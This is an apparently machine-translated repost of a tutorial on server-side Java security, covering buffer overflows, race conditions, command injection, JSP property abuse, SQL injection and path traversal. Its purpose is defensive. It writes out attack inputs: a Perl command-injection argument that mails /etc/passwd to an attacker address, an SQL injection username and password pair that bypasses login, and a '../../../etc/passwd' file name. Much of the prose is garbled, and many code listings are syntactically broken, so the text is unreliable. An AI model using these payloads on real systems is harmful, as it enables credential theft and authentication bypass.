Job is reposted: server-side Java programming security required reading

  An outline prepared by the application of Internet security is not an easy task: Just take a look at the various professional bulletin board can be found on the continuous reports of security vulnerabilities.    How do you assure its Internet application does not like other people's applications as full of loopholes?    How do you ensure that his name will not appear in embarrassing to the major accidents reported? 
  If you use Java Servlet, JavaServer Pages (JSP) or EJB, and many difficult issues have been resolved beforehand.    Of course, there are still loopholes may arise.    Below we take a look at what these loopholes, and why Java programmers have to worry about the part of C and Perl programmers must face. 
  C programmers should have been on the security flaws are very familiar with, such as OpenBSD project provides to deal with such issues of security systems.    Java language to deal with this problem experience less than 20 C, but on the other hand, Java as a programming language was born client, the client's security requirements more stringent than the server-side.    It means that the development of Java has a solid security foundation. 
  Java is the goal of positioning the original browser.    However, the browser itself bring the Java Virtual Machine, although good, but not perfect.    Sun's "Chronology of security-related bugs and issues," summed up the run-time environment found loopholes history.    We know that when used as server-side Java programming language, these loopholes can be used as a means of attack.    But even as a client Java programming language, the number of major security issues from 1996 to six (three of them is a very serious problem) down to the year 2000 one.    However, the relative safety of this increase does not mean that the server-side Java as a programming language has absolute security, it only means that an attacker could use the attack means more and more restrictions.    Well, what if there are areas vulnerable to attacks, and other programming languages is how to face similar problems? 
  Second, the buffer overflow in the C procedures, buffer overflow is the most common security risks.    User input buffer overflow in more than has been allocated memory space (for the exclusive use of user input) there.    Buffer overflow resulting applications are likely to become the key factor in coverage.    C procedure is prone to buffer overflow, but Java programs almost impossible buffer overflow. 
  Input from the input data stream read C code usually as follows: 
  Char buffer [1000]; 
  Int len = read (buffer); 

  As the size of the cache read data before determining the system to check reservations for the importation of the adequacy of the cache is very difficult.    Buffer overflow procedure allows users to cover a key part of the data structure, resulting in a hidden danger to security.    Experienced attacker can use this data directly to the code and inserted into a running program. 
  In Java, we generally use an array of characters rather than string preserve user input.    In front of C code with the equivalent Java code as follows: 
  String buffer = in.readLine (); 

  Here, the "cache" the size of the input and always exactly the same size.    As in the creation of Java after the string can not be changed, it will be impossible to a buffer overflow.    Even so, that the use of an array of characters as a substitute string cache, Java not as easy as C generate an attacker to take security vulnerabilities.    For example, the following code will produce Java overflow: 
  Bad char [] = new char [6]; 
  Bad [7] = 50; This code is always trotted out a java.lang.ArrayOutOfBoundsException anomaly and the anomaly can be caught by their own procedures: 
  Try ( 
  Bad char [] = new char [6]; 
  Bad [7] = 50; 
  ) 
  Catch (ArrayOutOfBoundsException ex) ( 
  …) 

  This process will never lead to unpredictable behavior.    Regardless of the method used an array overflow, we always ArrayOutOfBoundsException abnormal, and the underlying Java runtime environment is able to protect themselves from any infringement.    Generally speaking, the use of the Java string type string handling, we do not worry about string ArrayOutOfBoundsExceptions abnormal, it is an ideal choice. 
  Java programming model fundamentally changed the ways of handling user input, the input to avoid buffer overflow, making Java programmers out of the most dangerous programming loopholes. 

  Third, competition is competition among the Race Condition, it is the second most common type of security vulnerabilities.    In the creation (change) resources to modify resources to prohibit access to resources critical moment, if a process is to allow access to resources, there will be competition in this state.    The key question is: if a mandate by the two steps constitute essential, no matter how much you want to let this two-step implementation of one another immediately, the operating system does not guarantee this.    For example, in the database, the Panel mechanism makes two separate incidents "of the atom."    In other words, the process of creating a document and then change the competence of this document to prohibit conventional visits; At the same time, another unprivileged process can be dealt with the document, the process of deception has the prerogative to revise the wrong document, or set up in the authority after the continue to visit the original document. 
  In general, the standard Unix and NT environment, a number of high-priority process to be able to insert their own mandate of the number of steps between, but that in the process of Java server does not exist at the same time, prepared with pure Java it is impossible to modify procedures for the licensing authority.    Hence, most from the document visit resulted in the state of competition in Java do not occur, but that does not mean Java completely got rid of this problem, but a problem to a virtual machine. 
  We look at other types of development platform how to deal with this problem.    In Unix, we must ensure that the default mode is to create security documents, such as prior to commencement of the implementation of the server "umask 200" this command.    The umask more information, please Unix systems from the command line on the implementation of the "man umask" Show the man umask documents. 
  In the NT environment, we must be operated ACL (Access Control List, Access Control List), safety markings, in its protection to create the directory below.    NT General of new documents from its parent directory inherit access permission.    Please refer to NT documentation for more information. 
  Java competition in the state most of the time appears in the critical area code.    For example, the user login process, the system must generate a unique digital identifier as a user session.    To this end, the system to produce a random number, and then type in the hash table of the data structure of the inspection has been whether the figure of other users.    If this figure was not other users, put it Add to the list in order to prevent other casual users.    Listing 1 shows the code such as: 
  (Listing 1) 
  / / Keep the user login ID 
  Hashtable hash; 
  / / Random number generator 
  Random rand; 
  / / Generate a random number 
  Integer id = new Integer (rand.nextInt ()); 
  While (hash.containsKey (id)) 
  ( 
  Id = new Integer (rand.nextInt ()); 
  ) 
  / / For the retention of the current user ID 
  Hash.put (id, data); 

  Listing 1 code may have a serious problem: If there are two threads implementation of Listing 1 code, which hash.put Sort of a thread in this line of code before re-scheduling, this time with a random ID may be used twice.    In Java, we have two ways to solve this problem.    First, Listing 1's code can be rewritten as in the form of Listing 2, ensure that only one thread of code to implement the key to prevent the re-deployment of threads, to avoid the emergence of competition in the state.    Secondly, if the previous code is part of EJB server, we use the best there is a control mechanism EJB server thread the only ID services. 
  (Listing 2) 
  Synchronized (hash) 
  ( 
  / / Only generate a random number 
  Integer id = 
  New Integer (rand.nextInt ()); 
  While (hash.containsKey (id)) 
  ( 
  Id = new Integer (rand.nextInt ()); 
  ) 
  / / For the retention of the current user ID 
  Hash.put (id, data); 
  ) 

  Fourth, the implementation of a string explained in some programming language, the input string can be inserted into a special function to deceive the server to the additional, unnecessary movements.    Below the Perl code is an example: 
  $ Data = "mail body"; 
  System ( "/ usr / sbin / sendmail-t $ 1 <$ data"); 

  Clearly, these CGI code can be used as part of the process, or you can call the command line.    Usually, it can call in the following way: 
  Perl script.pl honest@true.com 

  It will send a message (that is, "mail body") honest@true.com sent to the user.    Although this example simple, but we can attack in the following way: 
  Perl script.pl honest@true.com; mail 
  Cheat@liarandthief.com </ etc / passwd 

  This command to a blank e-mail sent to honest@true.com while at the same time system password files sent to the cheat@liarandthief.com.    If the code is part of the process of CGI, it will bring significant server security threat. 
  Perl programmers often use external program (such as sendmail) to expand the functions of Perl, originally achieve with their feet in order to avoid the function of external procedures.    However, a very comprehensive Java API.    For example, the e-mail sent, JavaMail API is a good API.    However, if you compare lazy, and would like to use the external mailing procedures email: 
  Runtime.getRuntime (). Exec ( "/ usr / sbin / sendmail-t $ retaddr <$ data"); 

  In fact this is not feasible.    Java generally not allow the OS-level "<" and ";" as a symbol of the structure Runtime.exec () part.    You may try to use the following methods to solve this problem: 
  Runtime.getRuntime (). Exec ( "sh / usr / sbin / sendmail-t $ retaddr <$ data"); 

  However, this code is unsafe, it faced the front of the risk of Perl code into a Java program.    According to conventional Java solution to the problem than a ploy sometimes seem a bit more complex ways, but it almost always has better portability, scalability, but also security, fewer errors.    Runtime.exec () the issue is a simple example, in many other cases are more complex, more subtle. 
  Let us consider the image Java API (Reflection API).    Java Image API allows us to decide at runtime object which calls a method.    Order from any user input image as a time to find the conditions may become system for security weaknesses.    For example, the following code is likely to generate such questions: 
  Method m = bean.getClass (). GetMethod (action, new Class [] ()); 
  M.invoke (bean, new Object [] ()); 

  If the "action" values allows users to change here should pay special attention to the.    Note that this phenomenon may be in some strange places - and perhaps the most surprising is that the JSP.    Most JSP engine with image API functions to achieve the following: 
  <jsp:setProperty Name="bean" property="*" /> 

  Bean set of this method should pay special attention to, because all these methods can be remote users call.    For example, in Listing 3 and Listing 4 Bean JSP pages: 
  (Listing 3) 

  Public class Example 
  ( 
  Public void setName (String name) ( 
  This.name = name;) 
  Public String getName () (return name;) 
  Public void setPassword (String pass) ( 
  This. Pass = pass;) 
  Public String getPassword () (return 
  Pass;) 
  Private String name; 
  Private String pass; 
  ) 
  (Listing 4) 
  <% @ Page import = "Example"%> 
  <Jsp: useBean id = "example" scope = "page" 
  Class = "Example" /> 
  <jsp:setProperty Name="example" property="*" /> 
<html>
<head>
  <title> Bean example </ title> 
  </ Head> 
<body>
<form>
  <input Type="text" name="name" size="30"> 
  <input Type="submit" value="Submit"> 
  </ Form> 
  </ Html> 

  On the surface, the code only allows users to access the example Bean's name.    However, the understanding of the system's users can access "http://whereever.com/example.jsp?name=Fred & password = hack" this URL.    The URL is changed name attribute, and change password Password attribute.    Of course, this should not be the intention of the authors pages, the author's intent is to design a name only allows users to access the property pages.    Therefore, the use of 
  <jsp:setProperty Property="*" … />.  >

  Should be interpreted very carefully the implementation of a string of problems which have allowed embedded script code in any environment.    For example, such problems may Xalan (also known as LotusXSL) there, of course, that is not strictly system settings, vulnerable circumstances. 
  Xalan scripting support to the closure (and Xalan This is the default setting), in the sensitive application of the closure script support is a wise choice.    When you need to deal with DOM XML documents must also be considered to another point: DOM ensure that all texts have been dealing with the right to escape to prevent illegal marker inserted into the script of.    LotusXSL lack of this feature, but this is absolutely not a BUG.    LotusXSL support script is a feature, and it (wisely) is off by default.    The W3C XSL norms do not require the ability to support script. 
  Now we look at the string to explain the impact of the implementation of SQL and JDBC.    We have to assume that a user name and password for the conditions in the searchable database users, Listing 5 Servlet code looks good, but in fact it is dangerous. 
  (Listing 5) 
  String user = request.getAttribute ( "username"); 
  String pass = request.getAttribute ( "password"); 
  String query = "SELECT id FROM users WHERE 
  Username = "+ + user" AND password = "+ pass; 
  Statement stmt = con.createStatement (query); 
  ResultSet rs = con.executeQuery (query); 
  If (rs.next ()) 
  ( 
  / / Login success 
  Int id = rs.getInt (1); 

  ) 
  Else 
  ( 
  / / Login failure 

  ) 

  If the user input for the conditions, the user name is "fred", the password is "something", the system is actually implemented enquiries: 
  SELECT id FROM users WHERE 
  Username = 'fred' AND password = 
  'Something' 

  This query on the user to the correct name and password to carry out inspections.    However, if the user input for the conditions, equivalent to the name "fred 'AND (' a '=' b", the password is "blah ') OR' a '=' a", the implementation of this system of enquiries into: 
  SELECT id FROM users 
  WHERE username = 'fred' AND ( 
  'A' = 'b' AND password = 'blah') OR 'a' = 'a' 

  We can see that this can not be correct for the user name and password to carry out inspections.    Listing 6 code to much safer, a fundamental measure to prevent the user modify SQL commands to evade inspection. 
  (Listing 6) 
  String user = request.getAttribute ( "username"); 
  String pass = request.getAttribute ( "password"); 
  String query = "SELECT id FROM users 
  WHERE username =? AND password =? "; 
  PreparedStatement stmt = con.prepareStatement (query); 
  Stmt.setString (1 user); 
  Stmt.setString (2, pass); 
  ResultSet rs = stmt.executeQuery (); 


  All of the file system's visit could be interpreted string are implementation of the local.    Using Java to access the system, we should pay attention to documents naming.    Listing 7 is an example of the possible danger.    This procedure decisions based on user input documents which read, the danger is that the attacker can input "../../../ etc / passwd "This document name and password access system files.    This is not what we want.    Prevent such security flaws is the simplest way: unless it is absolutely necessary, otherwise do not use flat files (Flat File). 
  (Listing 7) 
  Public class UnsafeServlet 
  ( 
  Public void doGet (HttpServletRequest request, 
  HttpServletResponse response) 
  ( 
  String product = request.getAttribute ( "product"); 
  Reader fin = new FileReader ( 
  "/ Usr / unsafe / products /" + product); 
  BufferedReader in = new BufferedReader (fin); 
  String cost = in.readLine (); 
  / / Other process 
  Response.getWriter (). Println (cost); 
  ) 
  ) 

  Most of the server system, including Servlet and JSP and EJB, support document does not directly depend on the allocation of system access methods.    SecurityManager use customized or use a simple examination scripts (check whether the direct operating procedures document image system, as well as whether or not to use API), we can be implemented "without direct access to file system" strategy.    Although the majority of the application server allows the use of file system, but a good EJB will not use it. 
  Finally, you must not forget that the full separation of data, the precise definition of the good programming practices.    To assume that we have a database to store user information, now need to add a field marked users are super user privileges.    If in the original increase in a column in the table is too complicated, use the following method becomes very attractive: the user name with a special character that the user has special privileges, when users log in to examine the special characters, to prevent unauthorized users claimed that they have special powers.    But in fact, this would be extremely harmful.    All the data field, whether it is in the database or as local variables, the definition should be precise and only keep a message. 

  5, in accordance with the basic principles summarize the above discussion, we have the following prevent the emergence of the fundamental principles of security issues: 
  For all input fields, strictly defined system acceptable to the legitimate input characters, rejected all the other input. 
  Should be as early as possible to check the user input, making use of dangerous regional data to minimize. 
  Do not rely on the browser side JavaScript to carry out safety inspection (although the user, this is a very useful function), all the client has been in the inspection should be carried out in a server-side again. 
  These principles contribute to the elimination of a large number of security issues.    In essence, the application of this level, URL and POST data users and applications is the only way to cross, the focus of our attention should be focused on the URL and user input on the security of data. 
  Of course, simply to comply with the recommendations of this paper can not guarantee absolute security.    You have to analyse all the factors, including the security of your network you use, as well as the safety of other services. 
  Every day new security loopholes are found and fixes.    Adequate security in the system can be connected to the Internet before, and you must listen to the suggestions of experts in the formal introduction to the source code before, we must pay attention to possible loopholes.    Never too careful. 

Share and Enjoy: These icons link to social bookmarking sites where readers can share and discover new web pages.
  • Digg
  • del.icio.us
  • Facebook
  • DotNetKicks
  • DZone
  • Netvouz
  • Propeller

Tags: , , ,

Releated Java Articles

Comments

Leave a Reply